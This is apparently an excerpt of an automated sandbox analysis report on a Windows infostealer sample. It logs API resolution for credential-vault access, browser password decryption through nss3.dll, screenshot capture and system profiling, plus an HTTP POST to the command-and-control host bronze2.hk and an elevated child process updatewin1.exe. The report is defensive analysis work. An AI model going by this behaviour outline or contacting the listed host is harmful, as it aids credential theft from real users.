Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetThreadLocale, address_out = 0x76c335cf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoA, address_out = 0x76c30e00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoA, address_out = 0x76c4d5e5 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardType, address_out = 0x74f99ac4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextA, address_out = 0x74f57a1b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x74d548ef True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x74d54907 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 2
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysFreeString, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysReAllocStringLen, address_out = 0x75227810 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysAllocStringLen, address_out = 0x752245d2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleA, address_out = 0x76c31245 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumKeyA, address_out = 0x74d6a299 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = FreeSid, address_out = 0x74d5412e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalUnlock, address_out = 0x76c4cfdf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalLock, address_out = 0x76c4d0a7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemInfo, address_out = 0x76c349ca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileAttributesW, address_out = 0x76c31b18 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 2
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SelectObject, address_out = 0x75ae4f70 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteObject, address_out = 0x75ae5689 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteDC, address_out = 0x75ae58b3 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateCompatibleDC, address_out = 0x75ae54f4 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateCompatibleBitmap, address_out = 0x75ae5f49 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = BitBlt, address_out = 0x75ae5ea6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ReleaseDC, address_out = 0x74f57446 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetSystemMetrics, address_out = 0x74f57d2f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDC, address_out = 0x74f572c4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharToOemBuffA, address_out = 0x74f6b1b0 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = OleInitialize, address_out = 0x755fefd7 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptUnprotectData, address_out = 0x759e5a7f True 1
Fn
Get Address c:\windows\syswow64\crtdll.dll function = wcscmp, address_out = 0x6c25032a True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdiplusStartup, address_out = 0x73db5600 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdiplusShutdown, address_out = 0x73db56be True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipCreateBitmapFromHBITMAP, address_out = 0x73dc6671 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipGetImageEncodersSize, address_out = 0x73dd2203 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipGetImageEncoders, address_out = 0x73dd228c True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipDisposeImage, address_out = 0x73dc4cc8 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll function = GdipSaveImageToStream, address_out = 0x73dc4153 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CreateStreamOnHGlobal, address_out = 0x7560363b True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = GetHGlobalFromStream, address_out = 0x756041d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExpandEnvironmentStringsW, address_out = 0x76c34173 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalMemoryStatus, address_out = 0x76c38b6d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSize, address_out = 0x76c3196e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseMutex, address_out = 0x76c3111e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentDirectoryW, address_out = 0x76c35611 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableW, address_out = 0x76c389f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableW, address_out = 0x76c31b48 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetCurrentDirectoryW, address_out = 0x76c41260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalMemoryStatusEx, address_out = 0x76c5d4c4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDllDirectoryW, address_out = 0x76cb004f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocalTime, address_out = 0x76c35aa6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RemoveDirectoryW, address_out = 0x76cb44cf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDriveStringsA, address_out = 0x76c3e4dc True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = AllocateAndInitializeSid, address_out = 0x74d540e6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = LookupAccountSidA, address_out = 0x74d81daa True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CreateProcessAsUserW, address_out = 0x74d4c592 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CheckTokenMembership, address_out = 0x74d4df04 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyW, address_out = 0x74d52459 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumKeyW, address_out = 0x74d5445b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegEnumValueW, address_out = 0x74d548cc True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextA, address_out = 0x74d491dd True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = EnumDisplayDevicesW, address_out = 0x74f7e567 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = wvsprintfA, address_out = 0x74f6aad3 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardLayoutList, address_out = 0x74f62e69 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ntdll.dll function = RtlComputeCrc32, address_out = 0x771effc1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetConnectA, address_out = 0x753f49e9 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpOpenRequestA, address_out = 0x753f4c7d True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpAddRequestHeadersA, address_out = 0x753edcd2 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpSendRequestA, address_out = 0x754618f8 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCrackUrlA, address_out = 0x753dd075 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetSetOptionA, address_out = 0x753e75e8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitOnceExecuteOnce, address_out = 0x76c4d627 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleEx, address_out = 0x76c4c78f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandle, address_out = 0x76c5cbfc True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimePreciseAsFileTime, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeConditionVariable, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WakeConditionVariable, address_out = 0x771d7de4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WakeAllConditionVariable, address_out = 0x7719409d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SleepConditionVariableCS, address_out = 0x76cb4b32 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSRWLock, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AcquireSRWLockExclusive, address_out = 0x771629f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TryAcquireSRWLockExclusive, address_out = 0x77174892 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReleaseSRWLockExclusive, address_out = 0x771629ab True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SleepConditionVariableSRW, address_out = 0x76cb4b74 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWork, address_out = 0x76c4ee45 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SubmitThreadpoolWork, address_out = 0x771a8491 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWork, address_out = 0x7719d8e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = InitializeConditionVariable, address_out = 0x77168456 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = SleepConditionVariableCS, address_out = 0x76cb4b32 True 1
Fn
Get Address c:\windows\syswow64\api-ms-win-core-synch-l1-2-0.dll function = WakeAllConditionVariable, address_out = 0x7719409d True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_open, address_out = 0x73ad49c9 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_close, address_out = 0x73ad3341 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_prepare_v2, address_out = 0x73abd529 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_step, address_out = 0x73a9cfda True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_column_text, address_out = 0x73a9d453 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_column_bytes, address_out = 0x73a9d37e True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = sqlite3_finalize, address_out = 0x73a9c7d3 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = NSS_Init, address_out = 0x73b10391 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_GetInternalKeySlot, address_out = 0x73b348fe True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_Authenticate, address_out = 0x73b1d0d8 True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11SDR_Decrypt, address_out = 0x73b3089d True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = NSS_Shutdown, address_out = 0x73b1061c True 1
Fn
Get Address c:\users\5p5nrg~1\appdata\local\temp\ff335045\nss3.dll function = PK11_FreeSlot, address_out = 0x73b34370 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadDescription, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CLSIDFromString, address_out = 0x755fe599 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultOpenVault, address_out = 0x734f26a9 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultEnumerateItems, address_out = 0x734f3099 True 1
Fn
Get Address c:\windows\syswow64\vaultcli.dll function = VaultGetItem, address_out = 0x734f3242 True 1
Fn
User (3)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 3
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (37)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 3
Fn
Get Time type = System Time, time = 2019-07-13 15:57:27 (UTC) True 1
Fn
Get Time type = Ticks, time = 113724 True 1
Fn
Get Time type = Performance Ctr, time = 17235604803 True 1
Fn
Get Time type = Performance Ctr, time = 17777251026 True 1
Fn
Get Time type = Performance Ctr, time = 17777260376 True 1
Fn
Get Time type = Performance Ctr, time = 17777269486 True 1
Fn
Get Time type = Performance Ctr, time = 17777278381 True 1
Fn
Get Time type = Performance Ctr, time = 17777287425 True 1
Fn
Get Time type = Performance Ctr, time = 17777296315 True 1
Fn
Get Time type = Performance Ctr, time = 17777305216 True 1
Fn
Get Time type = Performance Ctr, time = 17777314821 True 1
Fn
Get Time type = Performance Ctr, time = 17777323878 True 1
Fn
Get Time type = Performance Ctr, time = 17777332779 True 1
Fn
Get Time type = Performance Ctr, time = 17777341663 True 1
Fn
Get Time type = Performance Ctr, time = 17777351607 True 1
Fn
Get Time type = Performance Ctr, time = 17777360258 True 1
Fn
Get Time type = Performance Ctr, time = 17777368876 True 1
Fn
Get Time type = Performance Ctr, time = 17777603063 True 1
Fn
Get Time type = Performance Ctr, time = 17777617636 True 1
Fn
Get Time type = Performance Ctr, time = 17777627290 True 1
Fn
Get Time type = Performance Ctr, time = 17777636380 True 1
Fn
Get Time type = Performance Ctr, time = 17777645406 True 1
Fn
Get Time type = Performance Ctr, time = 17777654365 True 1
Fn
Get Time type = Performance Ctr, time = 17777664565 True 1
Fn
Get Time type = Ticks, time = 118295 True 1
Fn
Get Info type = Operating System True 2
Fn
Get Info type = Operating System True 2
Fn
Get Info type = Hardware Information True 3
Fn
Open credential vault - True 1
Fn
Enumerate credential vault items - True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69 True 1
Fn
Environment (5)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Get Environment String name = MALLOC_OPTIONS False 1
Fn
Set Environment String name = PATH, value = C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 262 bytes
Total Data Received 4.27 MB
Contacted Host Count 1
Contacted Hosts 95.181.178.43
HTTP Session #1
»
Information Value
User Agent Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Server Name bronze2.hk
Server Port 80
Username -
Password -
Data Sent 262 bytes
Data Received 4.27 MB
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = bronze2.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP 1.1, target_resource = /1/index.php, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request url = bronze2.hk/1/index.php True 1
Fn
Data
Read Response size = 65636, size_out = 9393 True 1
Fn
Data
Read Response size = 65636, size_out = 65523 True 1
Fn
Data
Read Response size = 65636, size_out = 5889 True 1
Fn
Data
Read Response size = 65636, size_out = 8745 True 1
Fn
Data
Read Response size = 65636, size_out = 3465 True 1
Fn
Data
Read Response size = 65636, size_out = 51976 True 1
Fn
Data
Read Response size = 65636, size_out = 8760 True 1
Fn
Data
Read Response size = 65636, size_out = 20440 True 1
Fn
Data
Read Response size = 65636, size_out = 35040 True 1
Fn
Data
Read Response size = 65636, size_out = 8760 True 1
Fn
Data
Read Response size = 65636, size_out = 3472 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 2
Fn
Data
Read Response size = 65636, size_out = 12716 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 2
Fn
Data
Read Response size = 65636, size_out = 65627 True 1
Fn
Data
Read Response size = 65636, size_out = 29392 True 1
Fn
Data
Read Response size = 65636, size_out = 32120 True 1
Fn
Data
Read Response size = 65636, size_out = 48180 True 1
Fn
Data
Read Response size = 65636, size_out = 24820 True 1
Fn
Data
Read Response size = 65636, size_out = 3472 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 2
Fn
Data
Read Response size = 65636, size_out = 17096 True 1
Fn
Data
Read Response size = 65636, size_out = 64240 True 1
Fn
Data
Read Response size = 65636, size_out = 32120 True 1
Fn
Data
Read Response size = 65636, size_out = 65627 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 4
Fn
Data
Read Response size = 65636, size_out = 26600 True 1
Fn
Data
Read Response size = 65636, size_out = 58400 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 2
Fn
Data
Read Response size = 65636, size_out = 65626 True 1
Fn
Data
Read Response size = 65636, size_out = 61512 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 3
Fn
Data
Read Response size = 65636, size_out = 57132 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 1
Fn
Data
Read Response size = 65636, size_out = 14664 True 1
Fn
Data
Read Response size = 65636, size_out = 17520 True 1
Fn
Data
Read Response size = 65636, size_out = 24820 True 1
Fn
Data
Read Response size = 65636, size_out = 37960 True 1
Fn
Data
Read Response size = 65636, size_out = 52560 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 7
Fn
Data
Read Response size = 65636, size_out = 7748 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 2
Fn
Data
Read Response size = 65636, size_out = 65627 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 5
Fn
Data
Read Response size = 65636, size_out = 6352 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 1
Fn
Data
Read Response size = 65636, size_out = 52624 True 1
Fn
Data
Read Response size = 65636, size_out = 59860 True 1
Fn
Data
Read Response size = 65636, size_out = 64240 True 1
Fn
Data
Read Response size = 65636, size_out = 14600 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 1
Fn
Data
Read Response size = 65636, size_out = 64 True 1
Fn
Data
Read Response size = 65636, size_out = 65627 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 7
Fn
Data
Read Response size = 65636, size_out = 6352 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 1
Fn
Data
Read Response size = 65636, size_out = 49704 True 1
Fn
Data
Read Response size = 65636, size_out = 55480 True 1
Fn
Data
Read Response size = 65636, size_out = 54020 True 1
Fn
Data
Read Response size = 65636, size_out = 33580 True 1
Fn
Data
Read Response size = 65636, size_out = 65636 True 3
Fn
Data
Read Response size = 65636, size_out = 39612 True 1
Fn
Data
Read Response size = 65636, size_out = 42393 True 1
Fn
Data
Read Response size = 65636, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #10: updatewin1.exe
670 0
»
Information Value
ID #10
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe" --Admin
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\
Monitor Start Time: 00:00:51, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:12
OS Process Information
»
Information Value
PID 0xb3c
Parent PID 0xb04 (c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
